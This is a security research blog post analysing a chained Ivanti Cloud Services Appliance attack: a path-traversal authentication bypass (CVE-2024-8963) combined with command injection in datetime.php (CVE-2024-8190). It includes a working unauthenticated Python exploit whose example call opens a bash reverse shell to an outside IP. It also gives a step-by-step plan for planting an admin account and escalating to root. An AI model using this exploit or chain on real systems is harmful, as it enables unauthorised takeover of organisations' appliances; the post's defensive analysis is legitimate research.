Post

Vulnerability Review:Ivanti CSA Exploits Authentication Bypass (CVE-2024-8963) and Command Injection (CVE-2024-8190)

Vulnerability Review:Ivanti CSA Exploits Authentication Bypass (CVE-2024-8963) and Command Injection (CVE-2024-8190)

Overview

Ivanti CSA is a unified endpoint management platform that provides a comprehensive suite of tools for managing and securing devices, applications, and data across an organization’s network. It offers features such as asset management, software deployment, remote control, and security policies to ensure compliance and protect against cyber threats.

In the most recent security research, Fortinet exposed a sophisticated cyberattack targeting Ivanti Cloud Services Appliance (CSA), which involved two previously unknown zero-day vulnerabilities [1]. This article thoroughly explores how attackers skillfully linked these vulnerabilities to gain initial access to the victims’ networks, highlighting the complexity and stealth of cyber threats.

The article emphasizes that the affected platforms are Ivanti CSA versions 4.6 and prior, meaning any organization using these versions could be at risk. A successful attack could result in remote attackers taking control of vulnerable systems, with the impact and severity level rated as “severe.”

Vulnerability ID Vulnerability Type Public Status Disclosure Date Affected Component Description
CVE-2024-8190 Command Injection Vulnerability Publicly Disclosed 2024-09-10 /gsb/datetime.php Affects CSA versions 4.6 and earlier, allowing attackers to execute command injection attacks.
CVE-2024-8963 Path Traversal Vulnerability Not Publicly Disclosed 2024-09-19 /client/index.php Allows attackers to access unauthorized resources through path traversal, such as users.php, etc.
CVE-2024-9380 Command Injection Vulnerability Not Publicly Disclosed 2024-10-08 /gsb/reports.php Affects the reports.php resource, allowing attackers to execute command injection attacks.

Horizon3.ai publicly disclosed the command injection vulnerability CVE-2024-8190 in Ivanti Cloud Service Appliance (CSA) on September 10, 2024. Subsequently, Fortinet publicly disclosed two other severe vulnerabilities, CVE-2024-8963 and CVE-2024-9380, on October 8, 2024. Although details and exploit code for CVE-2024-8190 have been made public, there is a relative scarcity of detailed information and analysis materials regarding CVE-2024-8963. Therefore, I have decided to reproduce the vulnerability in Ivanti CSA version 4.6, conduct an in-depth analysis of CVE-2024-8963, and on this basis, discuss methods of exploiting the vulnerability and escalating privileges. Given that these vulnerabilities have been exploited by multiple organizations, the purpose of this article is to alert relevant personnel to pay sufficient attention to these vulnerabilities and to take prompt action for remediation in order to prevent potential security threats.

Technical Analysis

Authentication Bypass

According to the CSA setup tutorial, you can quickly build a vulnerability analysis lab environment. Once all preparations are complete, by executing the netstat command, you can observe that the CSA Web service is provided by Broker, which is a Web service component implemented by CSA itself. When accessing PHP resources, Broker will start a php-cgi process to handle the request.

1
2
3
4
5
6
7
8
9
10
11
[root@localhost ~]# netstat -punta | grep LISTEN
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      1/systemd           
tcp        0      0 127.0.0.1:80            0.0.0.0:*               LISTEN      1482/broker         
tcp        0      0 192.168.32.127:80       0.0.0.0:*               LISTEN      1482/broker         
tcp        0      0 192.168.122.1:53        0.0.0.0:*               LISTEN      1462/dnsmasq        
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      1002/sshd           
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      1029/postmaster     
tcp        0      0 127.0.0.1:443           0.0.0.0:*               LISTEN      1482/broker         
tcp        0      0 192.168.32.127:443      0.0.0.0:*               LISTEN      1482/broker         
tcp6       0      0 :::111                  :::*                    LISTEN      1/systemd           
tcp6       0      0 :::22                   :::*                    LISTEN      1002/sshd  

alt text

The Web directory structure of CSA is shown in the figure. Each request is not directly handled by php-cgi, but first goes through an authentication process. The permissions for accessing the corresponding directories are defined by the vroot file.

1
2
3
4
[root@localhost webroot]# pwd
/opt/landesk/broker/webroot
[root@localhost webroot]# ls
allowed  backups  backups.vroot  cba8.crt  client  client.vroot  gsb  gsbweb.vroot  images  index.tmpl  ldmg.ico  lib  local.vroot  mg.crt  rc  rc.vroot  upload  upload.vroot.unused

In the client.vroot file, the allowedMethods element defines the allowed HTTP request methods, which are limited to GET and HEAD requests. This ensures that clients can only access resources through these two methods, thereby limiting the operational permissions on server resources. The handler element specifies that the handler for .php files is CGI, and sets the path of the CGI handler to /usr/bin/php-cgi, allowing the server to correctly execute PHP scripts. The authenticate element is set to none, indicating that no authentication is required for users accessing this directory, allowing all users to access the resources in the directory without logging in.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<application>
        <environment>
                <APPLICATION_ROOT>/gsb</APPLICATION_ROOT>
        </environment>
        <index>
                &lt;a href="http:///client/"&gt;Cloud Services Appliance Utilities&lt;/a&gt;
                &lt;br&gt;
                &lt;a href="http:///client/LDMGdeploy.pdf"&gt;User's Guide&lt;/a&gt;
        </index>
        <directory>
                <root>/client</root>
                <location>/opt/landesk/broker/webroot</location>
                <directoryDefault>/client/index.php</directoryDefault>
                <authenticate>none</authenticate>
                <protocol>BOTH</protocol>
                <showDir>1</showDir>
                <allowedMethods>
                        <verb>GET</verb>
                        <verb>HEAD</verb>
                </allowedMethods>
                <map>
                        <spec>*.php</spec>
                        <handler>CGI</handler>
                        <path>/usr/bin/php-cgi</path>
                </map>
                <hide>
                        <spec>*.desc</spec>
                        <spec>*.conf</spec>
                </hide>
        </directory>
</application>

In the gsbweb.vroot file, the allowedMethods element defines restrictions on HTTP request methods for different resources: for the favicon.ico file, only GET requests are allowed, ensuring that clients can only retrieve the icon file; for the /gsb directory, GET, POST, and HEAD requests are permitted, allowing users to retrieve resources, submit data, and obtain metadata about the resources. The handler element specifies that .php files are processed by the CGI handler, with the path set to /usr/bin/php-cgi, ensuring that PHP scripts can be executed correctly. The authenticate element is set to AdminLocalNoauth for the /gsb directory, meaning that access to this directory requires specific local administrator authentication without full identity verification. This could be a special permission control strategy, allowing only certain local administrator users to access it without going through a complete authentication process.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<application>
        <environment>
                <APPLICATION_ROOT>/gsb</APPLICATION_ROOT>
        </environment>
        <index>&lt;a href="https:///gsb/"&gt;Cloud Services Appliance Console&lt;/a&gt;</index>
        <file>
                <root>/favicon.ico</root>
                <location>/opt/landesk/broker/webroot</location>
                <protocol>BOTH</protocol>
                <allowedMethods>
                        <verb>GET</verb>
                </allowedMethods>
        </file>
        <directory>
                <root>/gsb</root>
                <location>/opt/landesk/broker/webroot</location>
                <directoryDefault>/gsb/index.php</directoryDefault>
                <authenticate>AdminLocalNoauth</authenticate>
                <protocol>HTTPSWithHTTPLocal</protocol>
                <showDir>1</showDir>
                <allowedMethods>
                        <verb>GET</verb>
                        <verb>POST</verb>
                        <verb>HEAD</verb>
                </allowedMethods>
                <map>
                        <spec>*.php</spec>
                        <handler>CGI</handler>
                        <path>/usr/bin/php-cgi</path>
                </map>
        </directory>
</application>

By performing reverse engineering analysis on Broker, one can carefully craft an attack payload as shown in the figure to trigger an authentication bypass vulnerability.

alt text

Broker executes the php-cgi program using the execve function and passes request information such as script_name and path_info as environment variables to php-cgi. This mechanism allows php-cgi to obtain the relevant request information during execution, enabling it to correctly process the request and generate the appropriate response content.

1
2
3
PATH_INFO 	/gsb/index.php
PATH_TRANSLATED 	/opt/landesk/broker/webroot/gsb/index.php
SCRIPT_NAME 	/client/index.php 

alt text

According to the source code of php-cgi, it can be seen that it determines the full path of the currently executing script by obtaining the environment variable SCRIPT_FILENAME. Under normal circumstances, this value is passed to the CGI program by the Web server, indicating the file path of the PHP script to be executed. However, in some cases, if SCRIPT_FILENAME does not have a value, php-cgi will use PATH_TRANSLATED as the script path.

alt text

For Broker, when executing php-cgi, it passes environment variables through the execve function, but does not set SCRIPT_FILENAME. In this case, php-cgi may rely on PATH_TRANSLATED to determine the script path.

alt text

Command Injection

CVE-2024-8190

According to the analysis of CVE-2024-8190 by horizon3, in the datetime.php file, when the dateTimeFormSubmitted parameter meets certain conditions, it calls the handleDateTimeSubmit method in DateTimeTab.php. This method passes the unfiltered $TIMEZONE parameter to the setSystemTimeZone method, allowing malicious input to be executed by the exec() function, thereby causing a command injection vulnerability. However, the exploit script provided by horizon3 requires authentication.

To achieve unauthenticated command execution, the vulnerability can be combined with an authentication bypass vulnerability.

alt text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import re
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxy = {
}

def exploit(url, command):
    s = requests.Session()
    r = s.get(f"{url}/client/index.php/gsb/datetime.php", verify=False, proxies=proxy)
    m = re.search(r"name=['\"]LDCSA_CSRF['\"]\s+value=['\"]([^'\"]+)['\"]", r.text)
    if m:
        ldcsa = m.group(1)
        print(f"[+] Got LDCSA_CSRF value: {ldcsa}")
    else:
        print(f"[-] Failed getting LDCSA_CRSF token")
        sys.exit(0)

    payload = {
        "dateTimeFormSubmitted": "1",
        "TIMEZONE": f"; `{command}` ;",
        "CYEAR": "2024",
        "CMONTH": "9",
        "CDAY": "13",
        "CHOUR": "12",
        "CMIN": "34",
        "LDCSA_CSRF": ldcsa,
        "SUBMIT_TIME": "Save"
    }
    print(f"[*] Sending payload...")
    r = s.post(f"{url}/client/index.php/gsb/datetime.php", verify=False, data=payload, proxies=proxy)

exploit("https://192.168.32.127", "bash -i >& /dev/tcp/192.168.32.128/4444 0>&1")

alt text

Privilege Escalation

According to Fortinet’s analysis of CVE-2024-8190, there is another command execution vulnerability in reports.php, which has root privileges. When the page loads, the showFilesLog method is called, which ultimately invokes the exec function to execute the tripwire command with sudo privileges. Although the input data is filtered using escapeshellarg, when it is passed to the update function of tripwire, parameter concatenation still occurs, leading to command execution.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class page extends GWSitePage
{
  function __construct( $config )
  {
    parent::__construct( $config );
    
    $a = new reportsTab("t1","Reports");
    $this->addPane( $a ); 
    $this->setDefaultPane( "t1" );
  }
  function displayHilites()
  {
    print(getString('WEB_REPORTS_BROKER_HELP'));
  }
}

$page = new page($config);

alt text However, this vulnerability cannot be exploited in conjunction with an authentication bypass vulnerability, as it presupposes that the attacker already has a valid account. To this end, I have devised the following method to exploit the vulnerability:

  1. Obtain CSA backup file: First, use the CVE-2024-8190 vulnerability to successfully acquire the backup file of the CSA (Ivanti Cloud Service Appliance). This backup file contains key data and configuration information of the CSA, laying the foundation for subsequent operations.

  2. Import local simulation environment and create an account: Import the obtained target backup file into the locally built CSA simulation environment. Use the command-line tool /opt/landesk/broker/dbtool to create an account with administrative privileges in the simulation environment. This step allows us to have higher operational permissions in the simulation environment, preparing for further vulnerability exploitation.

  3. Export backup and extract SQL statement: Perform a backup operation in the local simulation environment to export a new backup file. Carefully analyze this backup file and precisely extract the SQL statement used when creating the user. This SQL statement contains key information required to create an administrative account, such as the username and password.

  4. Execute SQL statement using CVE-2024-8190: Use the extracted SQL statement as a parameter and exploit the CVE-2024-8190 vulnerability again to execute the SQL statement in the real target CSA environment. In this way, an administrative account is successfully created in the target CSA, bypassing the original authentication restrictions.

  5. Log in with the user and execute the privilege escalation vulnerability: Log in to the CSA with the newly created administrative account, which now has higher operational permissions. Then, execute known privilege escalation vulnerability exploitation methods to further elevate privileges and gain the highest level of system control.

alt text

Reference

[1] https://www.fortinet.com/blog/threat-research/burning-zero-days-suspected-nation-state-adversary-targets-ivanti-csa

[2] https://www.horizon3.ai/attack-research/cisa-kev-cve-2024-8190-ivanti-csa-command-injection

[3] https://www.youtube.com/watch?v=f3bP-wm5tJA

[4] https://download.ivanti.com/product/CSA/46/ldcsa-scsi-csrffix.iso

[5] https://github.com/hoohack/read-php-src/blob/36c410bfe7f8afce9aff92fb196e4243984491cb/php-5.4/sapi/cgi/cgi_main.c#L1146

This post is licensed under CC BY 4.0 by the author.